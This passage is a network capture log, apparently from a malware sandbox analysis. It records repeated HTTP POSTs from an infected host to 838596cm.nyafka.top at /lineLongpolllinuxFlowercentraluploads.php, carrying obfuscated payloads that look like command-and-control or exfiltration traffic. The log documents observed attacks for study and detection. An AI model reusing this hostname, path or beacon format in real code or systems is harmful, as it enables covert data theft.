Jan 8, 2025 17:14:29.051270962 CET	2532	OUT	Data Raw: 55 55 5b 54 59 50 53 5b 5e 5f 57 54 56 57 59 5c 57 5f 58 5a 50 5a 56 58 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UU[TYPS[^_WTVWY\W_XZPZVX[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ *80#_>-)\/7+\>!)&+%)!$>? =:#_&'P-
Jan 8, 2025 17:14:29.320823908 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:29.479343891 CET	813	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u0csRrdNTUgtqe7uR2At1Mt%2BEugsGhYgnw1v3sZ%2FGZw4ZsUvrXRvVSTP510%2Bzmr8zn%2FFGroe%2B76buKiXEUotriORbRfQ7rAzdzDLxyQ%2FJSBQSDuEB3XiLyBlE3tXgozzhxD1D008"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b18fb1f424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=41925&min_rtt=41089&rtt_var=17082&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=30554&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	50101	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:29.616286993 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	50102	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:29.713725090 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:30.066842079 CET	1852	OUT	Data Raw: 50 55 5e 5e 5c 58 56 5c 5e 5f 57 54 56 59 59 5d 57 52 58 5b 50 54 56 51 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PU^^\XV\^_WTVYY]WRX[PTVQ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#((32[-;4?=>:&;%)!3*,46<-#_&'P-
Jan 8, 2025 17:14:30.210479021 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:30.444108963 CET	956	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6Go21iezAzR3tmIvl68XczzWsn3aYMR6MCubp8I2ReA3e5NuCl4VNsIZgzcdlR%2F9FyC3%2BlFIBnSYcYmwdyCOtzJZ9Lupl4BBU%2B7h1pu5ZdBLk0HTIhOjlloAXMnPfXv%2Fbg6WBkY3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b1e88ba0f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3298&min_rtt=1803&rtt_var=3666&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2201&delivery_rate=106073&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 27 0c 27 3d 27 03 20 15 08 09 3c 39 30 06 2b 33 29 00 39 2a 2f 04 27 37 23 07 26 3f 20 5a 37 06 21 5f 3c 38 2d 10 24 18 2c 54 2b 01 20 5c 04 1f 27 00 3c 3b 2e 0c 3d 3f 25 05 26 33 29 58 25 23 24 1e 25 2e 2b 5d 33 39 22 56 34 2a 33 56 2e 30 25 0e 3a 3b 2f 00 28 34 28 59 33 2e 2f 50 0f 10 3b 0c 2c 2a 3f 58 21 32 26 1c 22 33 34 02 22 25 23 03 3d 2d 01 51 36 3f 03 15 27 0d 21 1a 37 1c 28 08 24 33 23 16 3c 22 28 10 2b 23 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98''=' <90+3)9/'7#&? Z7!_<8-$,T+ \'<;.=?%&3)X%#$%.+]39"V43V.0%:;/(4(Y3./P;,*?X!2&"34"%#=-Q6?'!7($3#<"(+#$U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	50103	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:29.839637041 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:30.191817045 CET	2532	OUT	Data Raw: 55 52 5e 52 59 5a 56 59 5e 5f 57 54 56 5d 59 5a 57 56 58 58 50 5a 56 5d 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UR^RYZVY^_WTV]YZWVXXPZV][EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ Z?+<3>Z;<?>2(+9Z$+=)1/*Y(5-9?#_&'P-+
Jan 8, 2025 17:14:30.303323030 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:30.556737900 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IH3gWPnK9bd2IfhhOe8RFJezjQmdM9kr3I5km%2FybVKElNkvHS07IOYWWT6sYcGOZqGtbimLBaALX0rLUq68szBlxbl8I%2BGDEeS%2BDldX2zHY%2Fv4hlVxULe3mgUTTPhGYPEhYJJpIU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b1f1a59727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3753&min_rtt=2020&rtt_var=4223&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=91910&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	50104	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:30.677690029 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:14:31.035689116 CET	2532	OUT	Data Raw: 50 51 5e 56 59 5d 56 5b 5e 5f 57 54 56 5c 59 5e 57 5f 58 58 50 55 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PQ^VY]V[^_WTV\Y^W_XXPUVY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#(8 $3&*8X=-&)8:$2(?>'5>4-?#_&'P-/
Jan 8, 2025 17:14:31.139753103 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:31.299380064 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5CnfsriI7RAy4fqls1LP0WpVJpNLjBGiih7bRRVkaIb1gWV9gWHVPThPzw3qHzsCDURZE%2FZCnfCMmsGu%2Fjz5kxpJ7BiM6L9szEnrZIEIznUtfsKXYVXPcNnX%2Fs3vPrT4G%2BrTfQCI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b245de0c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4507&min_rtt=1496&rtt_var=6584&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=57055&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	50105	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:31.430506945 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:14:31.785587072 CET	2532	OUT	Data Raw: 50 50 5b 54 59 5f 56 5f 5e 5f 57 54 56 5f 59 58 57 52 58 5b 50 5c 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PP[TY_V_^_WTV_YXWRX[P\V[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ ((?\33!=[9[,4]>\=+X$8=+2?>Y8!;9#_&'P-#
Jan 8, 2025 17:14:31.882447004 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:32.045572042 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a4wurr01n5HpnQPTpUl2q%2B096o3am1Kk27SEfF1ryicq3p2n3Iwd%2F2jLU3zIHl2VikqSW47BenHZtK7%2FffvefbpBclJrtfUqSXYa582bVV8YWEW%2FAsSzZLZ9LrksmkTUwUCpKJia"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b28faf5c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3006&min_rtt=1449&rtt_var=3658&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=104975&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	50106	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:32.183166027 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:32.535579920 CET	2532	OUT	Data Raw: 55 51 5b 50 59 58 56 59 5e 5f 57 54 56 57 59 58 57 53 58 52 50 5c 56 58 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UQ[PYXVY^_WTVWYXWSXRP\VX[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ X<+%0&*)Z,7[)!)9$?2()+ -(,?#_&'P-
Jan 8, 2025 17:14:32.626050949 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:32.826174021 CET	819	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lgvd%2BJG8T2Z0%2Fb%2BmHtUPXkzccPzg1mZ9kyO0w8NVIZ5%2BU8zlEnc%2BhHO73qT5JReLEk%2B1fLwO9dI8%2FjdnOKv0jAn857KbL6cYXb%2BU7XN4T%2BhDnVs%2BdIllKgNKrVpRzw6UU57TC0F3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b2dad130f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1904&min_rtt=1627&rtt_var=1165&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=379319&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	50107	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:32.963140965 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:33.316823959 CET	2532	OUT	Data Raw: 50 52 5b 57 59 5e 53 5f 5e 5f 57 54 56 5c 59 5a 57 52 58 5a 50 59 56 5d 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PR[WY^S_^_WTV\YZWRXZPYV][EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#+;7_$"=-1];4=>"=\&8>+<*/0]6?.?#_&'P-/
Jan 8, 2025 17:14:33.439938068 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:33.612323999 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QAsrYTMDBiey8mx9ODbya07M5mkc2CcX5rCpvQK918NkEpzndpt5id1BQArQpxEAP1qd3naAryrKVx22Ku9VTyEPe6IyihGrwpSSoznHePIyRXnPrOh%2F%2FXwt8ePC2vcvJZf36xrO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b32991d43b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4493&min_rtt=1576&rtt_var=6426&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=58596&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	50108	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:33.741219044 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:34.098134041 CET	2532	OUT	Data Raw: 55 51 5e 52 59 59 53 5f 5e 5f 57 54 56 5a 59 5e 57 5e 58 5e 50 5b 56 5f 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UQ^RYYS_^_WTVZY^W^X^P[V_[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ ^(((30"==6,7/])X:>"'?#^>?!=#:#_&'P-7
Jan 8, 2025 17:14:34.223103046 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:34.451332092 CET	812	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R2WJYTMySVZTRUA%2ByC6PBtKOtF8S69terTEH1%2BsFxNMe4FQPmE%2FcRtCS8AWP2lk7JMzg6QImCVMU9n%2BZFXo%2FE5RrYLH7zO%2BGp9KZMAsZXZEnEJhYNjLAr5w8J%2FbOKjLgVT5vi8iY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b3799600f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4110&min_rtt=1712&rtt_var=5439&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=69856&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	50109	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:34.734276056 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:35.082990885 CET	2532	OUT	Data Raw: 50 52 5b 53 59 50 56 5a 5e 5f 57 54 56 5c 59 5c 57 51 58 5a 50 58 56 5e 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PR[SYPVZ^_WTV\Y\WQXZPXV^[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#+3]0 1)=Y/$<>%^(+']&+#]?+6=.#_&'P-/
Jan 8, 2025 17:14:35.194483042 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:35.429754972 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5I63%2FkCcdrs22i6Yik8MbKrVD2T6SdDzmXDTX5wXThHCo2jDCAAuhD9hHjlkq6pnNaO6R63aS48%2Bu9dDLT6amloIXT%2BEZdtx9SBis74R7C5gEZAs7MFexlmdlDHvhusw9XiKm2Pm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b3daad743b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3567&min_rtt=1593&rtt_var=4545&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=83980&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	50110	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:35.463852882 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1828 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	50111	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:35.556314945 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:35.910931110 CET	2532	OUT	Data Raw: 50 56 5e 51 59 5b 56 5d 5e 5f 57 54 56 5f 59 5c 57 53 58 5b 50 58 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PV^QY[V]^_WTV_Y\WSX[PXVY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#?; '#"_?-:/B<>5>!&+1+18*,8!:#_&'P-#
Jan 8, 2025 17:14:36.001693010 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:36.197776079 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ue%2FVF2pdXj84kBhwifgeQM4TP894MTd9jm3ARBPJYWiN8y5oBtPbgYHzQCk5t6JiwnO8Z35JhLLBPo%2FX5JfbnULCJOkPMVG5jsAhaKrJ4Vi98Ls1SIvWoqfeAPIiHMMnW%2FT%2BDgB6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b42bc7a727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2305&min_rtt=2005&rtt_var=1352&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=331441&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	50112	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
